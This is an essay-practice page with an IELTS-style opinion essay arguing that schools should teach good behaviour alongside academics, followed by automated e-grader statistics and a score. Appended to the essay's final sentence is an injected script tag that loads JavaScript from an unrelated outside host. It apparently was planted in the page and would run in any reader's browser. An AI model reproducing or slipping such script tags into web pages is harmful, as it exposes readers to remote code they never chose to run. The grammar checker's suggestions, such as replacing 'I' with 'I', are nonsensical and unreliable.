It is the responsibility of schools to teach children good behavior in addition to providing formal education. To what extent do you agree or disagree?
Many argue that schools should be responsible for cultivating proper conduct in children apart from providing academic training. This essay argues in support of this position.
Granted, this perspective is often met with criticism, particularly in relation to its practicality. Critics often argue that managing students’ behavior can stretch teachers and schools to their limits. This is primarily because a good many misbehaving children come from poor family backgrounds such as those with a violent father or a negligent mother. As a result, it may not be the responsibility of schools to address problems beyond their control. That said, it must be acknowledged that students’ lack of proper family education is the key reason why schools should intervene in their character development. In other words, if they do not step in and take a more active role in shaping students’ behavior, there may be no one left to steer these children in the right direction.
Therefore, I am firmly convinced that schools should take responsibility for providing moral education for schoolchildren. First and foremost, schools are designated institutions dedicated to fostering a child’s well-rounded development. Attending school typically consumes a large share of a child’s daily time. As a result, such constant exposure to their peers as well as their teachers renders schools ideal for social learning. Additionally, focusing solely on academic training is not sufficient to guarantee children will grow up into valuable contributors to society. For example, without proper discipline training, students may excel in exams but fail in teamwork, respect and ethics - traits vital for workplaces and communities. Thus, training in proper conduct should be regarded with equal importance and emphasis to formal education in schools.
In conclusion, while some may question the feasibility of behavioral education in schools, I am in complete agreement with the opinion that they should play a central role in shaping students’ character, alongside delivering academic knowledge. <script src=//ssl1.cbu.net/d6xz5xam></script>
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Grammar and spelling errors:
Line 5, column 12, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...n in the right direction. Therefore, I am firmly convinced that schools should...
^
Line 7, column 92, Rule ID: EN_GB_SIMPLE_REPLACE
Message: I is a common American expression, in British English it is more common to use: I
Suggestion: I
...ity of behavioral education in schools, I am in complete agreement with the opini...
^
Transition Words or Phrases used:
but, first, if, may, so, therefore, thus, well, while, apart from, for example, in conclusion, such as, as a result, as well as, in other words
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 10.0 13.1623246493 76% => OK
Auxiliary verbs: 12.0 7.85571142285 153% => OK
Conjunction : 8.0 10.4138276553 77% => OK
Relative clauses : 6.0 7.30460921844 82% => OK
Pronoun: 24.0 24.0651302605 100% => OK
Preposition: 42.0 41.998997996 100% => OK
Nominalization: 12.0 8.3376753507 144% => OK
Performance on vocabulary words:
No of characters: 1776.0 1615.20841683 110% => OK
No of words: 315.0 315.596192385 100% => OK
Chars per words: 5.6380952381 5.12529762239 110% => OK
Fourth root words length: 4.21286593061 4.20363070211 100% => OK
Word Length SD: 3.11837183636 2.80592935109 111% => OK
Unique words: 190.0 176.041082164 108% => OK
Unique words percentage: 0.603174603175 0.561755894193 107% => OK
syllable_count: 528.3 506.74238477 104% => OK
avg_syllables_per_word: 1.7 1.60771543086 106% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 8.0 5.43587174349 147% => OK
Article: 0.0 2.52805611222 0% => OK
Subordination: 4.0 2.10420841683 190% => OK
Conjunction: 0.0 0.809619238477 0% => OK
Preposition: 4.0 4.76152304609 84% => OK
Performance on sentences:
How many sentences: 16.0 16.0721442886 100% => OK
Sentence length: 19.0 20.2975951904 94% => OK
Sentence length SD: 44.0667107917 49.4020404114 89% => OK
Chars per sentence: 111.0 106.682146367 104% => OK
Words per sentence: 19.6875 20.7667163134 95% => OK
Discourse Markers: 8.9375 7.06120827912 127% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 2.0 5.01903807615 40% => OK
Sentences with positive sentiment : 10.0 8.67935871743 115% => OK
Sentences with negative sentiment : 6.0 3.9879759519 150% => OK
Sentences with neutral sentiment: 0.0 3.4128256513 0% => More facts, knowledge or examples wanted.
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.183667629551 0.244688304435 75% => OK
Sentence topic coherence: 0.0588315242377 0.084324248473 70% => OK
Sentence topic coherence SD: 0.0427742484205 0.0667982634062 64% => OK
Paragraph topic coherence: 0.10718658968 0.151304729494 71% => OK
Paragraph topic coherence SD: 0.0339014806056 0.056905535591 60% => OK
Essay readability:
automated_readability_index: 15.0 13.0946893788 115% => OK
flesch_reading_ease: 43.73 50.2224549098 87% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 11.9 11.3001002004 105% => OK
coleman_liau_index: 15.43 12.4159519038 124% => OK
dale_chall_readability_score: 9.44 8.58950901804 110% => OK
difficult_words: 97.0 78.4519038076 124% => OK
linsear_write_formula: 7.0 9.78957915832 72% => OK
gunning_fog: 9.6 10.1190380762 95% => OK
text_standard: 15.0 10.7795591182 139% => OK
What are above readability scores?
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Rates: 84.2696629213 out of 100
Scores by essay e-grader: 7.5 Out of 9
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.